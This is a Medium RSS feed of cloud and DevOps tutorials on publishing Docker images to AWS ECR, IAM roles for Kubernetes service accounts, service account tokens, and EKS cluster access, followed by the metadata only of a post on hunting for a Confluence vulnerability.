<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by alam on Medium]]></title>
        <description><![CDATA[Stories by alam on Medium]]></description>
        <link>https://medium.com/@th3b3ginn3r?source=rss-84895b4345d0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by alam on Medium</title>
            <link>https://medium.com/@th3b3ginn3r?source=rss-84895b4345d0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 08:35:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@th3b3ginn3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Publishing Docker Image in AWS ECR]]></title>
            <link>https://medium.com/@th3b3ginn3r/publishing-docker-image-in-aws-ecr-a058f1729d43?source=rss-84895b4345d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/a058f1729d43</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[aws-ecr]]></category>
            <dc:creator><![CDATA[alam]]></dc:creator>
            <pubDate>Tue, 03 Jan 2023 18:46:39 GMT</pubDate>
            <atom:updated>2023-02-14T11:29:04.724Z</atom:updated>
            <content:encoded><![CDATA[<p>Elastic Container Registry is a container image registry service within AWS similar to the <strong>Docker Hub</strong>. Like the docker hub, it also supports private and public registries. For many reasons, we may store our docker images in the AWS ECR. Here we will try to learn how we can publish a docker image in the AWS ECR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*nPBNc0SHAO9-I6RKk0j1vw.png" /></figure><h4>Prerequisites</h4><p>As we are thinking of publishing a docker image in AWS Elastic Container Registry, it’s safe to assume that we have the below pre-requisites already in place:</p><ul><li>AWS CLI installed on system -&gt; [<a href="https://aws.amazon.com/cli/">AWS</a>]</li><li>Docker Image -&gt; [<a href="https://www.freecodecamp.org/news/a-beginners-guide-to-docker-how-to-create-your-first-docker-application-cc03de9b639f/">Freecodecamp</a>]</li><li>AWS IAM Permissions</li></ul><pre># Necessary IAM permission to publish an image in ECR<br>&quot;ecr:CompleteLayerUpload&quot;<br>&quot;ecr:GetAuthorizationToken&quot;<br>&quot;ecr:UploadLayerPart&quot;<br>&quot;ecr:InitiateLayerUpload&quot;<br>&quot;ecr:BatchCheckLayerAvailability&quot;<br>&quot;ecr:PutImage&quot;</pre><p>Once we have met the prerequisites, we can proceed, but before that, it is good to know a few concepts around today’s discussion.</p><h4>Registry</h4><p>A registry is a storage and content delivery system for docker images. The registry holds the <strong>repositories</strong>.</p><h4>Repository</h4><p>A repository holds all the versions of the same image.</p><p>To understand these concepts, let us take an example of the docker image for the httpd application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-ynXt37QMftI05st2tH1Q.png" /></figure><p>Here, <strong>Docker Hub</strong> is the registry, <strong>httpd</strong> is a repository and the <strong>latest &amp; </strong><strong>bullseye</strong> are the images.</p><p>Let us now return to our original topic — publishing images in AWS ECR — with the assumption that we already have an image called <strong>myimage</strong>.</p><pre>me@mycomp % docker image ls<br>REPOSITORY TAG IMAGE ID CREATED SIZE<br>myimage latest bb794e2b08fe 37 minutes ago 56.7MB</pre><p>We can publish it to the ECR in the following steps:</p><h4>1. Log in to the AWS ECR through CLI</h4><p>We can log in to the AWS ECR using the below command.</p><pre>aws ecr get-login-password --region us-west-2 | docker login --username AWS  --password-stdin  012345678901.dkr.ecr.us-west-2.amazonaws.com<br><br>#change aws region and account name</pre><h4>2. Creating a repository in the ECR</h4><p>Once we authenticated, the first thing we need to do is, create a repository in the ECR. We can choose a purposeful name (generally, the image name) for the repository. In our case, we have chosen the name to be myimage inline with the name of our docker image.</p><pre>aws ecr create-repository \<br> - repository-name myimage \ # it should be the image name<br> - image-tag-mutability IMMUTABLE</pre><p>We can verify if the repo has been created successfully using the below command.</p><pre>me@mycomp % aws ecr describe-repositories - repository-names my-image<br>{<br> &quot;repositories&quot;: [<br> {<br> &quot;repositoryArn&quot;: &quot;arn:aws:ecr:us-west-2:012345678912:repository/myimage&quot;,<br> &quot;registryId&quot;: &quot;012345678912&quot;,<br> &quot;repositoryName&quot;: &quot;forensics&quot;,<br> &quot;repositoryUri&quot;: &quot;012345678912.dkr.ecr.us-west-2.amazonaws.com/myimage&quot;,<br> &quot;rest&quot;: [&quot;truncated&quot;]<br> ]<br>}</pre><h4>3. Tagging the image</h4><p>To push an image to a private registry and not the central Docker registry you must tag it with the registry hostname, port (if necessary), and repository. Let’s tag the image with the below information:</p><ul><li><strong>Registry — </strong>012345678912.dkr.ecr.us-west-2.amazonaws.com</li><li><strong>Repository — </strong>myimage</li><li><strong>Image Tag (optional) — </strong>latest</li></ul><pre># replace image-id, account-id, region, ecr-repo-name, tag according to your need<br>docker tag bb794e2b08fe \ # image id<br> 012345678912.dkr.ecr.us-west-2.amazonaws.com/myimage:latest</pre><p>Tagging an image just creates an alias for an image. Let’s verify it using the docker image ls command.</p><pre>me@mycomp % docker image ls<br>REPOSITORY TAG IMAGE ID CREATED SIZE<br>012345678912.dkr.ecr.us-west-2.amazonaws.com/myimage latest bb794e2b08fe 33 minutes ago 56.7MB<br>myimage latest bb794e2b08fe 37 minutes ago 56.7MB</pre><p>Here, we can see two images with the same image id bb794e2b08fe — myimage and 012345678912.dkr.ecr.us-west-2.amazonaws.com/myimage.</p><h4><strong>4. Push the image to the repository</strong></h4><p>We can now push the image 012345678912.dkr.ecr.us-west-2.amazonaws.com/myimage to the ECR.</p><pre>me@mycomp % docker push 012345678912.dkr.ecr.us-west-2.amazonaws.com/my-image:latest <br>The push refers to repository [012345678912.dkr.ecr.us-west-2.amazonaws.com/my-image]<br>e9306b14c0d6: Pushed <br>latest: digest: sha256:1161b380dac994a15caa96ac2354e7b4cd6d65c651a56fd778f0ad707ce3893f size: 529</pre><p>When the image is pushed successfully, we will get image id: Pushed message.</p><h4>5. Verify the Image in the ECR</h4><p>We can verify the image in ECR using the aws ecr describe-images command. It would return the information about the image, including the image push time, etc. At this stage, we are precisely done pushing our docker image to the ECR.</p><pre>me@mycomp % aws ecr describe-images - repository-name myimage - profile 012345678912<br>{<br> &quot;imageDetails&quot;: [<br> {<br> &quot;registryId&quot;: &quot;012345678912&quot;,<br> &quot;repositoryName&quot;: &quot;myimage&quot;,<br> &quot;imageDigest&quot;: &quot;sha256:1161b380dac994a15caa96ac2354e7b4cd6d65c651a56fd778f0ad707ce3893f&quot;,<br> &quot;imageTags&quot;: [<br> &quot;latest&quot;<br> ],<br> &quot;imageSizeInBytes&quot;: 23735881,<br> &quot;imagePushedAt&quot;: &quot;&quot;,<br> &quot;imageManifestMediaType&quot;: &quot;application/vnd.docker.distribution.manifest.v2+json&quot;,<br> &quot;artifactMediaType&quot;: &quot;application/vnd.docker.container.image.v1+json&quot;<br> }<br> ]<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a058f1729d43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Allowing kubernetes service account to assume IAM Role]]></title>
            <link>https://medium.com/@th3b3ginn3r/allowing-kubernetes-service-account-to-assume-iam-role-dbfec552a6a6?source=rss-84895b4345d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbfec552a6a6</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ek]]></category>
            <category><![CDATA[kubernetes-security]]></category>
            <category><![CDATA[iam-roles]]></category>
            <dc:creator><![CDATA[alam]]></dc:creator>
            <pubDate>Thu, 29 Dec 2022 10:56:15 GMT</pubDate>
            <atom:updated>2023-01-03T10:51:58.875Z</atom:updated>
            <content:encoded><![CDATA[<h3>Allowing Kubernetes service account to assume IAM Role</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*YoFIrW-qEjJPk62LNvKnzg.jpeg" /></figure><p>Applications in a pod container may need to make API requests to AWS services. There are two ways it can be achieved:</p><ol><li>Create AWS credentials and distribute them to the containers.</li><li>Create an IAM role and associate the role with the K8s service account.</li></ol><p>The latter is the secure and preferred method. We can achieve it in the following steps.</p><ol><li>Create an IAM OIDC Identity for the cluster</li><li>Associate the IAM role with the service account</li><li>Configure pods to use the service account</li></ol><h3>Create an IAM OIDC identity provider for your cluster</h3><p>IAM OIDC is a must for a cluster to allow a service account to assume an IAM role. We can create IAM OIDC provided using the below eks command.</p><pre>eksctl utils associate-iam-oidc-provider - cluster my-eks-cluster - approve</pre><h3>Associate IAM role with the service account</h3><p>Once we have created an IAM OIDC for the cluster, we can associate the IAM role and service account. But before that, let’s discuss possible scenarios:</p><ul><li>We may have an existing service account and role to use.</li><li>We may have to create a new service account and role.</li></ul><p>In the below section, we will see how to do it.</p><h4>Scenario I — Existing IAM Role &amp; Service account</h4><p>In this scenario, we already have an IAM role called iam-service-account-role and a service account called iam-service-account . Below are the steps required to achieve it.</p><p><strong>Step 1 — Modify the service account with EKS annotations<br></strong>We can associate an existing IAM role to an existing k8s service account using the command — eskctl create iamserviceaccount.</p><pre>eksctl create iamserviceaccount - name iam-service-account \ # existing service account anme<br>      - override-existing-serviceaccounts \ <br>      - cluster my-eks-cluster \ # cluster name<br>      - namespace default \ # namespace name<br>      - attach-role-arn arn:aws:iam::012345678912:role/iam-service-account-role \ # existing iam role<br>      - approve # to apply the change</pre><p>We would get the below logs when the association is successful:</p><pre><br>2022–12–28 19:47:46 [ℹ] updated serviceaccount “default/iam-service-account”</pre><p>Now lets us validate the configuration of the service account iam-service-account</p><pre>me@mycomp % kubectl describe sa iam-service-account<br>Name: iam-service-account<br>Namespace: default<br>Labels: app.kubernetes.io/managed-by=eksctl<br>Annotations: eks.amazonaws.com/role-arn: arn:aws:iam::012345678912:role/iam-service-account-role<br>Image pull secrets: &lt;none&gt;<br>Mountable secrets: &lt;none&gt;<br>Tokens: &lt;none&gt;<br>Events: &lt;none&gt;</pre><p>We can see the IAM role ARN in the Annotation section of the service account.</p><p><strong>Step II — Modify the “trusted relationship” of the IAM role</strong></p><p>We can modify the trusted relationship of the IAM role either through the console, or CLI. Here we will see how we can modify using the CLI.</p><p>Step II A — Create a <strong>trusted relationship </strong>policy document.</p><pre><br># change the account ID, region, cluster ID and service account name in this policy<br>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Principal&quot;: {<br>                &quot;Federated&quot;: &quot;arn:aws:iam::111122223333:oidc-provider/oidc.eks.region-code.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE&quot; <br>            },<br>            &quot;Action&quot;: &quot;sts:AssumeRoleWithWebIdentity&quot;,<br>            &quot;Condition&quot;: {<br>                &quot;StringEquals&quot;: {<br>                    &quot;oidc.eks.region-code.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:sub&quot;: &quot;system:serviceaccount:default:iam-service-account&quot;,<br>                    &quot;oidc.eks.region-code.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:aud&quot;: &quot;sts.amazonaws.com&quot;<br>                }<br>            }<br>        }<br>    ]<br>}</pre><p><strong>Step 11 B — Apply the trusted relationship policy</strong></p><pre>aws iam update-assume-role-policy - role-name iam-service-account-role \ # iam role name<br>  - policy-document file://Test-Role-Trust-Policy.json # policy document that we created in step II A </pre><p>This step completes the IAM role association to the service account for scenario I.</p><h4>Scenario II — New IAM Role &amp; Service account</h4><p>In this scenario, we will create and use a new IAM role and service account. Here is how we can do this:</p><pre>eksctl create iamserviceaccount - name iam-service-account \ # desire SA name<br>  - cluster my-eks-cluster \ # cluster name<br>  - namespace default \  # namespace<br>  - role-name &quot;iam-service-account-role&quot; \ # desired IAM role name<br>  - attach-policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess \ # policy ARN<br>  - approve</pre><p>The above command would create an IAM role, attach the IAM policy to the role, modify the “trusted relationship” of the role, create a service account, and set the required annotation in the service account, all by itself.</p><p>This step completes the IAM role association to the service account for scenario II.</p><p>[Note: I’ve chosen an existing IAM policy AmazonS3ReadOnlyAccess here.]</p><h3>Configuring pods to use a Kubernetes service account</h3><p>Just like any other service account, we can <a href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"><strong>configure</strong></a> iam-service-account as well for a pod. We can use the below pod definition to achieve it.</p><pre>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: aws-cli-app<br>  namespace: default<br>spec:<br>  containers:<br>  - image: nginx<br>    name: nginx<br> serviceAccountName: iam-service-account<br> automountServiceAccountToken: true</pre><p>When we launch a pod configured with a service account associated with an IAM role, the <strong>kubelet </strong>agent mounts the AWS-related environment variables in the pod. We can see these configurations by running describe<br>command on the pod.</p><pre>Environment:<br> AWS_STS_REGIONAL_ENDPOINTS: regional<br> AWS_DEFAULT_REGION: us-west-2<br> AWS_REGION: us-west-2<br> AWS_ROLE_ARN: arn:aws:iam::012345678912:role/iam-service-account-role<br> AWS_WEB_IDENTITY_TOKEN_FILE: /var/run/secrets/eks.amazonaws.com/serviceaccount/token</pre><pre><br>Mounts:<br> /var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)<br> /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-7r85d (ro)</pre><h3>Using AWS CLI in a pod</h3><p><strong>Step I — Installing aws CLI in a pod</strong></p><p>The pod we launched does not have the AWS CLI application. Let’s install it.</p><p>Exec into the pod using the command — kubectl exec -it aws-cli-app — bash and run the below commands:</p><pre>curl &quot;https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip&quot; -o &quot;awscliv2.zip&quot;<br>apt-get update<br>apt-get install unzip<br>unzip awscliv2.zip<br>sudo ./aws/install<br>apt-get install less</pre><p><strong>Step II — Verifying successful installation</strong></p><p>To verify the successful installation of the AWS CLI application, let run aws --version . We should expect the CLI version if it is installed.</p><p><strong>Step III — Verifying the access</strong></p><p>Let’s run aws sts get-caller-identity to verify if the service account and the iam role are working fine. If they are functioning as desired, it should return the below output.</p><pre>me@mycomp $ aws sts get-caller-identity<br>{<br> “UserId”: “AROA4B5O4FVQ2KEVBIPQR:botocore-session-1672301137”,<br> “Account”: “012345678912”,<br> “Arn”: “arn:aws:sts::012345678912:assumed-role/iam-service-account-role/botocore-session-1672301137”<br>}<br></pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbfec552a6a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding service accounts and tokens in Kubernetes]]></title>
            <link>https://medium.com/@th3b3ginn3r/understanding-service-accounts-in-kubernetes-e9d2abe19df8?source=rss-84895b4345d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9d2abe19df8</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[k8s]]></category>
            <dc:creator><![CDATA[alam]]></dc:creator>
            <pubDate>Tue, 27 Dec 2022 14:59:12 GMT</pubDate>
            <atom:updated>2022-12-29T09:37:23.326Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*zYkaCm1RtndtVPSQQy0tYA.jpeg" /></figure><p>As the name suggests, the service accounts are for the services or the non-human users in Kubernetes. It can perform all the tasks that the K8s API allows like human users. Kubernetes by default creates a service account in each namespace of a cluster and call it a <strong>default</strong> <strong>service account</strong>. These default service accounts are mounted to every pod launched.</p><p>However, the default service account has no attached permissions, and due to this, it is not of much use until we bind the service account with a role in the K8s RBAC.</p><p>In addition to the default service accounts, K8s allows us to create as many <strong>user-defined service accounts</strong> as we want. We can use the below command to create a service account.</p><p>kubectl create serviceaccount my-service-account</p><pre># Describing service account <br><br>me@mycomp ~ % kubectl describe sa my-service-account<br>Name:                my-service-account<br>Namespace:           default<br>Labels:              &lt;none&gt;<br>Annotations:         &lt;none&gt;<br>Image pull secrets:  &lt;none&gt;<br>Mountable secrets:   &lt;none&gt;<br>Tokens:              &lt;none&gt;<br>Events:              &lt;none&gt;</pre><p>In the K8s version before 1.24, every time we would create a service account, a non-expiring secret token (Mountable secrets &amp; Tokens) was created by default. However, from version 1.24 onwards, it was disbanded and no secret token is created by default when we create a service account. However, we can create it when need be. Now let us take a look at the <strong>service account token</strong> in a bit more depth.</p><h3>Service Account Token</h3><p>Kubernetes supports two types of tokens from version 1.22 onwards.</p><p>- Long-Lived Token<br>- Time Bound Token</p><h4>Long-Lived Token</h4><p>As its name indicates, a long-lived token is one that never expires. Hence, it is less secure and discouraged to use.</p><p><strong>Creating Long-Lived Token <br></strong>Before K8s version 1.24, whenever a service account was created, a secret object was also created that contains the secret token. These token would be long-lived token, which means it has no expiry. However, In Kubernetes version 1.24, it was disbanded due to security and scalability concerns.</p><p>Although not recommended, K8s allows us to create a long-lived token. It is achieved in two different steps:</p><ul><li>Create a service account</li></ul><p>kubect create serviceaccount my-service-account</p><ul><li>Create a secret and specify the name of the service account as annotations within the metadata section.</li></ul><pre>kubectl apply -f - &lt;&lt;EOF<br>apiVersion: v1<br>kind: Secret<br>metadata:<br>  name: my-long-lived-secret<br>  annotations:<br>    kubernetes.io/service-account.name: my-service-account<br>type: kubernetes.io/service-account-token<br>EOF</pre><h4>Time Bound Token</h4><p>From version 1.22 onwards, Kubernetes introduced TokenRequest API. A token generated through this API is a time-bound token that expires after a time. It applies to both — the default service account and the custom-defined service accounts.</p><p><strong>Creating a time-bound token<br></strong>We can create a time-bound token using the below command:</p><p>kubectl create token my-time-bound-token</p><p>However, it is not required to create a token manually. Taking an example of the default service account — when a pod is launched with automountServiceAccountToken set to True, K8s control plane mounts a <strong>project volume </strong>to the pod. The <strong>kubelet</strong> agent running on the node provisions the token on this volume.</p><pre>kubectl get pod nginx -o yaml<br>[truncated]<br>spec:<br>  containers:<br>  - image: nginx<br>    volumeMounts:<br>    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount<br>      name: kube-api-access-cqslr<br>      readOnly: true<br>  serviceAccount: default<br>  serviceAccountName: default<br>[truncated]</pre><h4><strong>Token</strong> <strong>Expiration</strong></h4><p>Kubernetes is designed to expire the token in one hour, but there are many legacy applications running with the non-expiring token. To allow gradual adoption of the time-bound token, Kubernetes has allowed cluster admins to specify --service-account-extend-token-expiration=true to <strong>Kube API Server. </strong>When specified, it will allow tokens to have longer expiration (<a href="https://github.com/kubernetes/kubernetes/blob/ea0764452222146c47ec826977f49d7001b0ea8c/pkg/serviceaccount/claims.go#L35"><strong>365 days</strong></a><strong>)</strong> temporarily and record the usage of legacy tokens.</p><p>Click <a href="https://github.com/kubernetes/enhancements/blob/master/keps/sig-auth/1205-bound-service-account-tokens/README.md#serviceaccount-admission-controller-migration"><strong>here</strong></a> to learn more about the token expiry.</p><p>Even if the token-expiration flag is set to true , Kubernetes allows us to create a token or mount a token that expires in one hour or whatever time we want. We can use the below definitions to achieve it.</p><pre>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: my-pod<br>spec:<br>  containers:<br>  - image: nginx<br>    name: nginx<br>    volumeMounts:<br>    - mountPath: /var/run/secrets/tokens<br>      name: my-proj-vol<br>  serviceAccountName: my-service-account #service acount <br>  volumes:<br>  - name: my-proj-vol<br>    projected:<br>      sources:<br>      - serviceAccountToken:<br>          path: my-proj-vol<br>          expirationSeconds: 3600 #specify the desired epiration time in seconds<br></pre><h3>Configuring a Service Account for a Pod</h3><p>Unlike the default service accounts, custom service accounts are not configured for a pod automatically. If we want to configure my-service-account for a pod, the following are the conditions:</p><ul><li>A service account cannot be mounted to a running pod.</li></ul><p>To configure a service account for a pod, we can use below pod definition file:</p><pre>apiVersion: v1<br>kind: Pod<br>metadata:<br>  name: my-pod<br>spec:<br>  serviceAccountName: my-service-account<br>  automountServiceAccountToken: true</pre><h3>Using the service account in a pod</h3><p>The service account that we create above, does not contain any permission. Once we have created a role and role binding, we can use the service account to perform the specified task.</p><p>[For role &amp; role binding examples — please click <a href="https://medium.com/@th3b3ginn3r/allowing-an-iam-user-to-access-an-eks-cluster-f7b537a50d82">here</a>]</p><ul><li>Exec into the pod using the below command</li></ul><pre>kubectl exec -it my-pod-with-service-account</pre><ul><li>Store the secret token in a variable</li></ul><pre>TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)</pre><ul><li>Send curl request to the Kubernetes API.</li></ul><pre>curl -H &quot;Authorization: Bearer $TOKEN&quot; https://kubernetes/api/v1/namespaces/default/pods/ --insecure</pre><p>The above curl command will list down all the pods and their configuration in the default namespaces.</p><pre>me@mycom % kubectl exec -it my-pod-with-service-account -- bash                                                   <br>root@my-pod-with-service-account:/# TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)<br>root@my-pod-with-service-account:/# curl -H &quot;Authorization: Bearer $TOKEN&quot; https://kubernetes/api/v1/namespaces/default/pods/ --insecure<br>{<br>  &quot;kind&quot;: &quot;PodList&quot;,<br>  &quot;apiVersion&quot;: &quot;v1&quot;,<br>  &quot;metadata&quot;: {<br>    &quot;resourceVersion&quot;: &quot;46252191&quot;<br>  },<br>  &quot;items&quot;:[truncated]</pre><h3>References:</h3><ul><li><a href="https://github.com/kubernetes/enhancements/blob/master/keps/sig-auth/1205-bound-service-account-tokens/README.md#serviceaccount-admission-controller-migration">enhancements/README.md at master · kubernetes/enhancements</a></li><li><a href="https://github.com/kubernetes/kubernetes/blob/ea0764452222146c47ec826977f49d7001b0ea8c/pkg/serviceaccount/claims.go#L38">kubernetes/claims.go at ea0764452222146c47ec826977f49d7001b0ea8c · kubernetes/kubernetes</a></li><li><a href="https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/">Managing Service Accounts</a></li><li><a href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/">Configure Service Accounts for Pods</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9d2abe19df8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Allowing IAM user to access EKS Cluster]]></title>
            <link>https://medium.com/@th3b3ginn3r/allowing-an-iam-user-to-access-an-eks-cluster-f7b537a50d82?source=rss-84895b4345d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7b537a50d82</guid>
            <category><![CDATA[aws-eks]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[k8s]]></category>
            <dc:creator><![CDATA[alam]]></dc:creator>
            <pubDate>Wed, 23 Nov 2022 20:13:58 GMT</pubDate>
            <atom:updated>2024-11-08T05:30:49.761Z</atom:updated>
            <content:encoded><![CDATA[<p>Are you here because your AWS account has an EKS cluster and now you want to access the cluster to launch some pods or run any other resources? Or do you want to allow any user access to the EKS cluster? Let’s understand how we can do it.</p><p>If the user has the right EKS-related permissions assigned, he/she can list the EKS clusters, list workloads &amp; nodes, modify networking or even delete the clusters.</p><pre># Few EKS-related permissions<br><br>&quot;eks:DescribeCluster&quot;,<br>&quot;eks:ListClusters&quot;<br>&quot;eks:DescribeUpdate&quot;,<br>&quot;eks:DescribeNodegroup&quot;,<br>&quot;eks:DescribeClusterConfig&quot;,<br>&quot;eks:ListUpdates&quot;,<br>&quot;eks:ListNodegroups&quot;,<br>  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-BjQO-v5dyEKEFQ5bTeBA.png" /><figcaption>Cluster Info</figcaption></figure><p>However, the user still cannot create an object, such as a pod, inside the cluster. Or simply, we cannot access this cluster using kubectl. We will know how to do it but before that let’s recap some basics.</p><h4>EKS Authentication &amp; Authorisation</h4><p><strong>Authentication: </strong>EKS cluster authentication happens through the AWS IAM. That means to authenticate to an EKS cluster a user must be a part of AWS IAM (unless anonymous access is allowed in the Kubernetes configuration).</p><p><strong>Authorization</strong>: EKS authorization happens through Kubernetes native RBAC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*NNI9Z_ePW-JzZI5W.png" /></figure><p>When we create an Amazon EKS cluster, the IAM entity (user or role) that created the cluster is automatically granted the administrator (system:masters) permissions in the cluster&#39;s role-based access control (RBAC).</p><h3>Allowing an IAM user in the existing cluster’s RBAC</h3><p>Now let us assume that we have an IAM user iam-pod-admin <strong>to allow access to the cluster. </strong>We will achieve this in three steps detailed below.</p><h4>Step 1 — Create the IAM Identity Mapping</h4><p>EKS by default does not recognize the IAM entity (user or role). We need to create a mapping between the IAM user and an equivalent user which is recognized by the K8s.</p><p>We can modify aws-auth ConfigMap within the EKS cluster to create identity mapping</p><p>When no IAM user or role other than the one who created the cluster is permitted, below is what the “<strong>ConfigMap</strong>” would look like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-IeNXk5ZBzyRzC8V9LXJA.png" /></figure><p>Now, let’s create a mapping of IAM users to usernames in <strong>configmap/aws-auth. </strong>Kubernetes uses the mapped usernames to authenticate and authorize. AWS recommends using eksctl to perform the modification.</p><pre>eksctl create iamidentitymapping \<br>    --cluster mycluster \<br>    --region=us-west-2 \<br>    --arn arn:aws:iam::012345678912:user/iam-pod-admin \<br>    --username k8s-pod-admin\</pre><p>A successful modification would give the below result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mziw5EDSA8P9Or2biM8K-Q.png" /></figure><p>Here we have mapped the IAM user iam-pod-admin to k8s-pod-admin . While configuring Kubernetes resources, we would use the latter.</p><p>We can verify the configuration by using two methods:</p><p><strong>a. eksctl</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pboNI0fKeD7TSu8yucv8gA.png" /></figure><p>b. <strong>kubectl</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-LDF2ovF9rr-WLthlazvKg.png" /></figure><p>Both the commands tell us that we have successfully mapped the IAM user iam-pod-admin to the K8s user k8s-pod-admin.</p><blockquote><em>Note: To allow an IAM role, we can replace the user ARN with the role ARN, and the rest of the process would remain the same.</em></blockquote><h4>Step 2 — Create Cluster Role</h4><p><em>[This step is optional if we already have a cluster role.]</em></p><p>Now we would create the Kubernetes role where we specify the type of action that a user can perform.</p><p>let us create a YAML file for a Kubernetes role — <em>pod-manage-role.yaml </em>and<em> </em>apply it to create the cluster role called “pod-manage-role”.</p><pre>#Kubernetes Cluster Role Object<br>kind: ClusterRole<br>apiVersion: rbac.authorization.k8s.io/v1<br>metadata:<br>  name: pod-manage-role<br>rules:<br>  - apiGroups:<br>      - &quot;rbac.authorization.k8s.io/v1&quot;<br>    resources:<br>      - &quot;pods&quot;<br>    verbs:<br>      - &quot;create&quot;<br>      - &quot;delete&quot;<br>      - &quot;describe&quot;<br>      - &quot;get&quot;<br>      - &quot;list&quot;<br>      - &quot;patch&quot;<br>      - &quot;update&quot;</pre><pre>kubectl apply -f pod-manage-role.yaml</pre><h4>Step 3 — Binding Role &amp; User together</h4><p>Now we have an IAM-mapped user called k8s-pod-admin , a Kubernetes role called pod-manage-role , we need to bind them together through another Kubernetes object called <strong>RoleBinding.</strong></p><p>A RoleBinding binds a role to subjects. Subjects can be groups, users, or service accounts.</p><p>Let us create a <strong>ClusterRoleBinding</strong> YAML file — <em>pod-manage-binding.yaml.</em></p><pre>#Kubernetes Role Binding Object<br><br>kind: ClusterRoleBinding<br>apiVersion: rbac.authorization.k8s.io/v1<br>metadata:<br>  name: pod-manage-binding<br>subjects:<br>- kind: User<br>  name: iam-admin-k8s<br>roleRef:<br>  kind: ClusterRole<br>  name: pod-manage-role<br>  apiGroup: rbac.authorization.k8s.io</pre><p>In the ClusterRoleBinding YAML file, we have included subjects and roleRef components to map the subject (user) to the role. Now let us create the cluster role binding by applying the YAML file.</p><pre>kubectl apply -f pod-manage-binding.yaml</pre><p>Now we have completed the EKS and RBAC configuration. Let us see how we can access the EKS (K8s) clusters using the IAM User.</p><h4>Testing</h4><ol><li>Create Kube Config File</li></ol><pre>aws eks update-kubeconfig --region us-west-2 --name my-cluster</pre><p>2. Access K8s.</p><pre>user@mycomp % kubectl get svc    <br>NAME             TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE<br>kubernetes       ClusterIP   172.20.0.1       &lt;none&gt;        443/TCP        159d</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7b537a50d82" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting for CVE-2022–26134 Confluence RCE on Linux Server]]></title>
            <link>https://medium.com/@th3b3ginn3r/hunting-for-cve-2022-26134-confluence-rce-on-linux-server-ae9ce0176b4a?source=rss-84895b4345d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae9ce0176b4a</guid>
            <category><![CDATA[cve-2022-26134]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[confluence]]></category>
            <dc:creator><![CDATA[alam]]></dc:creator>
            <pubDate>Fri, 03 Jun 2022 17:18:42 GMT</pubDate>
            <atom:updated>2023-01-03T15:26:24.104Z</atom:updated>
